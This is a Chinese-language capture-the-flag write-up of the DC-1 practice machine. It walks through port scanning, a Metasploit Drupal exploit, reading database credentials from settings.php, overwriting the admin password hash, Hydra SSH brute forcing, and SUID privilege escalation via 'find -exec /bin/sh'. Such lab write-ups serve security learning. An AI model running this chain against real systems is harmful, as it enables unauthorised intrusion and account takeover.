DC1 靶场实战搭建渗透
# 信息收集确定 IP
1 2 3 4 5 6 7 8 9 kali: 192.168 .65 .148 DC1 : 192.168 .65 .149 arp-scan -l: 扫网段同一网段内的主机确定DC靶场的IP地址 通过前面看Kali网段的设置得出靶机IP地址 DC1 : 192.168 .65 .149
扫描端口服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nmap -sV -p- 192.168 .65 .149 -sV 参数表示进行版本探测,-p- 参数表示扫描所有端口 Starting Nmap 7.94 ( https: Nmap scan report for 192.168 .65 .149 Host is up (0. 0011s latency) . Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22 /tcp open ssh OpenSSH 6. 0p1 Debian 4 +deb7u7 (protocol 2.0 )80 /tcp open http Apache httpd 2.2 .22 ((Debian)) 111 /tcp open rpcbind 2 -4 (RPC #100000 )32990 /tcp open status 1 (RPC #100024 )
访问 80
端口开始渗透
1 whatweb -v 192.168 .120 .128
# MSF 渗透寻找 day
1 2 3 msfconsole search drupal
Current Setting 是目前设置的内容 Required 表示是否需要设置内容,yes 为必须设置,no 可以设置也可不设置 就上面来说 RHOSTS 需要 set,但是没有内容
1 2 3 4 5 6 7 8 9 set lhosts 192.168 .65 .149 run 响应显示已经建立连接也就是攻击成功 shell ls
终端面板影响代码输入,使用 python 实现交互式 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 python -c 'import pty; pty.spawn("/bin/bash")' tac flag1.txt flag1.txt: Every good CMS needs a config file - and so do you 每一个好的CMS都需要一个配置文件你也一样 ------------------------------ find / -name flag* find 是一个强大的命令行工具,用于在文件系统中查找文件和目录。 / 表示从根目录开始查找 -name 参数指定了要查找的文件名模式 "flag" 开头的文件名 * 是通配符,表示匹配任意字符。
flag1.txt
未发现有价值的信息,百度 Drupal
cms 配置文件,知晓 settings.php
1 cat `find / -name settings.php`
得出数据库相关信息,账户密码尝试登录数据库
1 2 mysql -udbuser -pR0ck3t
1 2 3 use drupaldb show tables;
发现列出的表中存在 users
和用户相关的表
1 2 3 4 5 6 select * from users 得到两个用户,并且密码不是明文,方法1 是修改admin的密码 方法2 添加一个新的用户 admin: pass $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR Fred : pass $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
# 渗透 MySQL 数据库修改 admin
用户密码
思路
找到加密脚本文件 加密我们自定义设置的密码 得出加密数据回到数据中进行替换 使用修改过后的密码登录进 Drupal 的加密脚本位置
1 /var /www/scripts/password-hash.sh
回到数据库首先退出,回到 shell
状态下读取 .sh
加密脚本设置我们的密码,脚本是 PHP 语言编写,使用 PHP 加参数就可以运行,直接得到数字 123456 (密码) 加密后的数据
1 2 3 4 5 6 7 exit php /var /www/scripts/password-hash.sh 123456 ------------------------------------------------- 密码加密后的值: $S$DGlF6YaIytT1SPH8h/93JqpZm6vkFTqj2qGrgeOOEcY8A0wrLhxE
得出新的 admin 的密码后,又开始重复步骤,登录数据库,使用数据库语句修改指定表指定字段中的值,修改密码为我们 123456 加密后的值
1 2 3 4 5 6 mysql -udbuser -pR0ck3t use drupaldb; update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred' ;
使用修改后的密码成功登录网站
1 2 user : admin pass : 123456
# Linux 爆破flag3
同样给出了提示信息 passwd
和 shadow
,明显就是 linux 的文件
1 2 3 4 5 6 7 /etc/passwd 该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读 /etc/shadow 该文件存储了系统用户的密码等信息,只有root权限用户才能读取
回到终端,退出数据库,使用命令查看提示文件
flag4
这个用户非常可疑,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开 shadow
文件查看密码
使用 Kali 自带的 Hydra 密码爆破工具进行爆破用户密码,这里需要在 Kali 下进行操作,为了不和已经建立的 shell 断开,直接重开一个终端即可,目录就还是在 (saber㉿kali)-[~/桌面]
1 2 3 4 5 hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh: -l flae4: 指定爆破用户名 -P :指定了爆破的密码字典列表 ssh: 目标IP地址
爆破成功用户 flag4
密码为 orange
使用 kali 进行连接到这个地址的用户 flag4
, 输入命令后因为你第一次连接到一个 SSH 服务器时,你的 SSH
客户端会显示主机的真实性,并要求你确认后才能继续连接,我们输入 YES 即可,而后输入上文爆破出的密码成功建立连接
1 2 3 4 ssh 用户名@目标攻击主机 ssh flag4@192.168 .120 .128
在 flag4
用户目录下访问 flag4.txt
文件,同样也是提示的意思
1 2 3 4 5 6 7 8 9 10 11 cat flag4.txt ---------------------------------- Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? 你能用同样的方法找到还是访问根中的标志?可能吧。但也许没那么容易。或者可能是?
需要 SUID 提权,利用 find 命令,找查具有 SUID 权限的可执行二进制文件,不太了解释的可以看下这篇文章 简谈 SUID 提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 查找具有 Setuid 权限的文件 Setuid 权限是一种特殊的权限,允许普通用户以拥有该文件所有者的权限来执行该文件。 find / -perm -u=s -type f 2 >/dev/null -------------------------------------------------------- find:用于在文件系统中搜索文件和目录。 /:指定搜索的起始路径为根目录,也就是整个文件系统。 -perm -u=s:指定要搜索的文件权限。 -perm 选项用于匹配指定的权限, -u 表示用户权限,s 表示 Setuid 权限。因此,-perm -u=s 表示搜索具有 Setuid 权限的文件 -type f:指定要搜索的文件类型为普通文件 2 >/dev/null :将错误输出重定向到 /dev/null ,这样可以隐藏搜索过程中产生的错误信息
1 2 3 4 5 6 7 8 9 10 11 12 13 在文件系统中查找名为 "index.php" 的文件,并在找到的每个文件上执行 "/bin/sh" 命令 find / -name index.php -exec "/bin/sh" \; ---------------------------------------------------------- find:用于在文件系统中搜索文件和目录。 /:指定搜索的起始路径为根目录,也就是整个文件系统。 -name index.php:指定要搜索的文件名为 "index.php" 。 -exec:用于在找到的每个文件上执行指定的命令。 "/bin/sh" :要执行的命令是 "/bin/sh" ,它是一个常见的 Unix/Linux shell。\;:表示命令的结束。
输入命令后莫名其妙提权成功,提权不太明白需要后续补充,但是需要知道执行上述的命令是可以成功的
列出文件读取 flag
完成关卡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cd / root ls cat thefinalflag.txt Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7 完成了!!! 希望你已经享受了这一点,并学到了一些新的技能